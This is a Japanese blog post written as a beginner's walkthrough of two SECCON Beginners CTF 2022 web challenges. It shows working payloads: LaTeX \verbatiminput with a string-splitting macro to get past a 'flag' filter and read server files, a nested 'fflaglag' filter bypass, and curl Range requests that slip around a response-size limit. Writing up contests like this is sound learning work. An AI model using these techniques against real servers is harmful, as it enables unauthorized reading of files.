0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

SECCON Beginner CTF 2022 WebのEasyレベルに挑戦: CTF未経験者目線で解法を書きます

Posted at

はじめに

CTF未経験者としてBeginnerレベルの問題を解いてみた前回の記事はこちら

今回はWebのEasyレベルに挑戦してみます。
なお私のレベルは前回と変わらずCTF初挑戦レベルです。未経験者の視点で答えにたどり着くまでの足跡を書き残しますので冗長になっていますが、同じく未経験者の方のお役に立てれば幸いです。


問題と解法

環境

OS: Windows11
  WSL2 (Ubuntu):  Ubuntu 20.04.4 LTS
    curl 7.68.0
    Python 3.8.10
  ブラウザ: Microsoft Edge バージョン 102.0.1245.41 (公式ビルド) (64 ビット)

Web

textex

  • Texのコードを入力し「toPDF」ボタンを押すとPDFに変換したものが表示されるアプリが提供されている。

    Web-textex.png

  • 提供されたアプリのファイルを見るとapp.pyというWebアプリのスクリプトと、同ディレクトリにflagというファイルが存在する。Texコードを利用してflagファイルを取れればよさそう。

    $ ls
    Dockerfile  app.py  flag  requirements.txt  templates  tex_box  uwsgi.ini
    
  • app.pyのスクリプトを見ていく

    app.py
    import string
    import subprocess
    from flask import Flask, request, send_file, render_template
    
    app = Flask(__name__)
    app.config["MAX_CONTENT_LENGTH"] = 1 * 1024 * 1024
    
    @app.route("/")
    def top():
        return render_template("index.html")
    
    def tex2pdf(tex_code) -> str:
        # Generate random file name.
        filename = "".join([random.choice(string.digits + string.ascii_lowercase + string.ascii_uppercase) for i in range(2**5)])
        # Create a working directory.
        os.makedirs(f"tex_box/{filename}", exist_ok=True)
        # .tex -> .pdf
        try:
            # No flag !!!!
            if "flag" in tex_code.lower():
                tex_code = ""
            # Write tex code to file.
            with open(f"tex_box/{filename}/{filename}.tex", mode="w") as f:
                f.write(tex_code)
            # Create pdf from tex.
            subprocess.run(["pdflatex", "-output-directory", f"tex_box/{filename}", f"tex_box/{filename}/{filename}.tex"], timeout=0.5)
        except:
            pass
        if not os.path.isfile(f"tex_box/{filename}/{filename}.pdf"):
            # OMG error ;(
            shutil.copy("tex_box/error.pdf", f"tex_box/{filename}/{filename}.pdf")
        return f"{filename}"
    
    @app.route("/pdf", methods=["POST"])
    def pdf():
        # tex to pdf.
        filename = tex2pdf(request.form.get("tex_code"))
        # Here's your pdf.
        with open(f"tex_box/{filename}/{filename}.pdf", "rb") as f:
            pdf = io.BytesIO(f.read())
        shutil.rmtree(f"tex_box/{filename}/")
        return send_file(pdf, mimetype="application/pdf")
    
    if __name__ == "__main__":
        app.run(debug=True, host="0.0.0.0", port=4444)
    
  • tex2pdf()はPOSTリクエストで受信したtex_codeをtexファイルに書き出し、texファイルをPDFに変換し、そのPDFファイル名を返却している。

    Texでflagファイルを読み込んで表示すればよいが、
    tex_code中にflagという文字があるとtex_codeを空にする処理があるため、
    「Texコード内にはflagという文字列を使ってはいけない」という縛りがあるもよう。

  • Texについて調べる

    • 外部ファイルを読み込んで表示する方法

      \documentclass{article}
      \begin{document}
      
      \input{filename}
      
      \end{document}
      

      けどfilenameのところにflagという連続した文字列を入れてはいけないという縛りがあるので、flagという文字列を分解して表現できないか調べてみる。

    • 文字列を分割して表現できる方法 (newcommandを利用する)

      \documentclass{article}
      \begin{document}
      
      \newcommand{\concat}[2]{#1#2}
      
      \input{\concat{f}{lag}}
      
      \end{document}
      

      これならいけそうな気がする!!!

  • 早速上記方法でTexコードを送ってみる

    • 結果はエラー画面に飛ばされた。なおエラー画面にはとっても美味しそうなラーメン画像が表示されています(笑)

    • 試しに同じディレクトリにある別ファイルDockerfileで試してみるが同じくエラー

    • やり方間違ってるのか不安になりつつ別ファイルrequirements.txtで試すと中身が表示できた!!!

    app.pyを見る限りエラー画面に飛ばされるのは、tex_codeが空のときかPDF化失敗のとき。Texコードにはflagという連続した文字列は含めていないので強制的に空にされることはなく、おそらくPDF化失敗によるものだと推測する。

    ・・・ここから一日悩む。何故PDF化失敗なのかわからない・・・

    requirements.txtの内容が表示できたので、このTexコードで正しいはず。ということは、フラグ文字の中にTexが嫌う文字が含まれているかもしれない、と推測する。

  • フラグに使用される文字コード [\x20-\x7e] でTexが嫌いそうな文字を探す

    • とりあえずフラグに使用される文字をズラッと並べる

      $ python3
      Python 3.8.10 (default, Mar 15 2022, 12:22:08)
      [GCC 9.4.0] on linux
      Type "help", "copyright", "credits" or "license" for more information.
      >>> import struct
      >>> text=b''
      >>> for letter in list(range(0x20,0x7e,1)):
      ...     text += struct.pack("B",letter)
      ...
      >>> text
      b' !"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}'
      
    • Texコード内に入れて送ってみる

      \documentclass{article}
      \begin{document}
      
       !"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}
      
      \end{document}
      

      エラー画面に飛ばされた。(ほんとうに美味しそうなラーメンの写真が表示sれるので何度も見てるとそろそろこのラーメンが食べたくなってきた)

      つまりフラグに使用される文字の中にTexが嫌がる文字(コントロール文字か扱えない文字?)が含まれていると思われる。そこでフラグに使用される文字をTexが解釈してしまわないような方法があるか調査してみる。

  • テキストを整形済みとしてそのまま表示させるTexコマンドの調査(textileのpreのような)

    verbatimというものがあるらしいので早速試してみるとエラー無しでPDF化され文字列が表示された!

    \documentclass{article}
    \begin{document}
    
    \begin{verbatim}
    !"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}
    \end{verbatim}
    
    \end{document}
    
  • newcommandとの合わせ技でTexコードを送ってみる

    \documentclass{article}
    \begin{document}
    
    \newcommand{\concat}[2]{#1#2}
    
    \begin{verbatim}
    \input{\concat{f}{lag}}
    \end{verbatim}
    
    \end{document}
    

    本当にそのまんま "\input{\concat{f}{lag}}" ってPDFで表示された(笑) そりゃそうだ・・・

  • 外部ファイルをそのまま表示させるようなTexコマンドを探す

    プログラムのソースコードをLaTeXに埋め込む方法を見つけたのでそれを試してみる。

    \documentclass{article}
    \usepackage{verbatim}
    \begin{document}
    
    \newcommand{\concat}[2]{#1#2}
    \verbatiminput{\concat{f}{lag}}
    
    \end{document}
    

    やっとフラグが取れました!

    Web-textex-flag.png

  • おまけ: エラー画面ほんとに美味しそう

    Web-textex-err.png

gallery

  • 選択した画像が表示されるWebアプリが提供されている。

    Web-gallery.png

    まずプルダウンメニューにより画像の拡張子をgif, jpeg, pngから選択する。その後、jigohoukokuとlgtmのどちらかのリンクをクリックすると、該当する画像が表示される。

    Webブラウザからはプルダウン選択、画像のリンクをクリックの操作のみが可能なので、おそらくHTTPリクエストを直接送り込むことになるんだろうなぁと想像する。

  • main.go, handlers.goというソースコードが提供されている。

    Go言語は未履修だったので雰囲気で解読する。

  • main.go

    main.go
    package main
    
    import (
      "bytes"
      "net/http"
    
      "github.com/gorilla/mux"
    )
    
    const (
      PORT = "8080"
      DIR  = "static"
    )
    
    type MyResponseWriter struct {
      http.ResponseWriter
      lengthLimit int
    }
    
    func (w *MyResponseWriter) Header() http.Header {
      return w.ResponseWriter.Header().Clone()
    }
    
    func (w *MyResponseWriter) Write(data []byte) (int, error) {
      filledVal := []byte("?")
    
      length := len(data)
      if length > w.lengthLimit {
        w.ResponseWriter.Write(bytes.Repeat(filledVal, length))
        return length, nil
      }
    
      w.ResponseWriter.Write(data[:length])
      return length, nil
    }
    
    func middleware() func(http.Handler) http.Handler {
      return func(h http.Handler) http.Handler {
        return http.HandlerFunc(func(rw http.ResponseWriter, r *http.Request) {
          h.ServeHTTP(&MyResponseWriter{
            ResponseWriter: rw,
            lengthLimit:    10240, // SUPER SECURE THRESHOLD
          }, r)
        })
      }
    }
    
    func main() {
      r := mux.NewRouter()
      r.PathPrefix("/images/").Methods("GET").Handler(http.StripPrefix("/images/", http.FileServer(http.Dir(DIR))))
    
      r.HandleFunc("/", IndexHandler)
    
      http.ListenAndServe(":"+PORT, middleware()(r))
    }
    
  • handlers.go

    handlers.go
    package main
    
    import (
      "html/template"
      "log"
      "net/http"
      "os"
      "strings"
    )
    
    type Embed struct {
      ImageList []string
    }
    
    func IndexHandler(w http.ResponseWriter, r *http.Request) {
      t, err := template.New("index.html").ParseFiles("./static/index.html")
      if err != nil {
        http.Error(w, err.Error(), http.StatusInternalServerError)
        log.Println(err)
        return
      }
    
      // replace suspicious chracters
      fileExtension := strings.ReplaceAll(r.URL.Query().Get("file_extension"), ".", "")
      fileExtension = strings.ReplaceAll(fileExtension, "flag", "")
      if fileExtension == "" {
        fileExtension = "jpeg"
      }
      log.Println(fileExtension)
    
      data := Embed{}
      data.ImageList, err = getImageList(fileExtension)
      if err != nil {
        http.Error(w, err.Error(), http.StatusInternalServerError)
        log.Println(err)
        return
      }
    
      if err := t.Execute(w, data); err != nil {
        http.Error(w, err.Error(), http.StatusInternalServerError)
        log.Println(err)
        return
      }
    }
    
    func getImageList(fileExtension string) ([]string, error) {
      files, err := os.ReadDir("static")
      if err != nil {
        return nil, err
      }
    
      res := make([]string, 0, len(files))
      for _, file := range files {
        if !strings.Contains(file.Name(), fileExtension) {
          continue
        }
        res = append(res, file.Name())
      }
    
      return res, nil
    }
    
  • handlers.go内に怪しい処理を発見

    handlers.go
    // replace suspicious chracters
    fileExtension := strings.ReplaceAll(r.URL.Query().Get("file_extension"), ".", "")
    fileExtension = strings.ReplaceAll(fileExtension, "flag", "")
    if fileExtension == "" {
      fileExtension = "jpeg"
    }
    log.Println(fileExtension)
    

    HTTPリクエストのクエリにfile_extentionというキーがあり、そのキーに指定されている文字列中のflagという文字列がすべて空文字に置換される。その後に値が空文字であるならばjpegが設定される。

    つまりflagという文字列が空文字に置換されても値そのものが空文字にならなければjpegに置換されることがない。

    またコード上でflagという文字列に対処しているということはfileExtentionflagになることを嫌がっているように思える。

    つまり例えばfile_extention="fflaglag"のようにすれば何か起きそう

  • ブラウザのデバッグモードを使ってリクエストを解析

    拡張子gifを選択した時のネットワーク情報を確認するとhttps://gallery.quals.beginners.seccon.jp/?file_extension=gifというリクエストが発行されているのがわかる

    Web-gallery-request.png

  • リクエストを編集して再送信してみる

    • Queryのfile_extensionキーの値をfflagにして再送信

      Web-gallery-request-fflag.png

    • フラグへのリンクが出てきた

      Web-gallery-request-flagpdf.png

      Web-gallery-flag-link.png

      ネットワークのログから「新しいタブで開く」を選択して応答画面を確認すると、フラグと思われるPDFへのリンクが現れたのでクリックしたが、大量の"?"が表示された…そんなに甘くはなかった…

    • Responseデータにサイズ制限がかかっている

      Responseデータのサイズ制限は10240byte

      main.go
            h.ServeHTTP(&MyResponseWriter{
              ResponseWriter: rw,
              lengthLimit:    10240, // SUPER SECURE THRESHOLD
            }, r)
      

      データサイズが10240byteを上回る場合は、データサイズ分の "?" が返送される仕組み

      main.go
      filledVal := []byte("?")
      
      length := len(data)
      if length > w.lengthLimit {
        w.ResponseWriter.Write(bytes.Repeat(filledVal, length))
        return length, nil
      }
      
  • データサイズを10240byteずつ分割してフラグを取得してみる

    フラグのリンクが分かったのでここからはcURLコマンドを使う

    • まずは大量"?"で置き換えられたフラグファイルのサイズを確認すると16085byteであることがわかる

      $ curl -s -v -o flag https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf
      :
      $ ls -l flag
      -rw-r--r-- 1 user user 16085 Jun 25 00:21 flag
      
    • サイズ制限である10240byte刻みでリクエストを送る

      0byte目から10239byte目までの10240byteのレスポンスボディをflag1に、

      10240byte目から16085byte目までのレスポンスボディをflag2に保存する

      $ curl -s -v -o flag1 https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf -H "range: bytes=0-10239"
      
      $ curl -s -v -o flag2 https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf -H "range: bytes=10240-16085"
      
    • flag1flag2を結合する

      $ cat flag1 flag2 > flag.pdf
      
    • 結合したflag.pdfを開くと…

      フラグが見れました!

      Web-gallery-flag.png

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?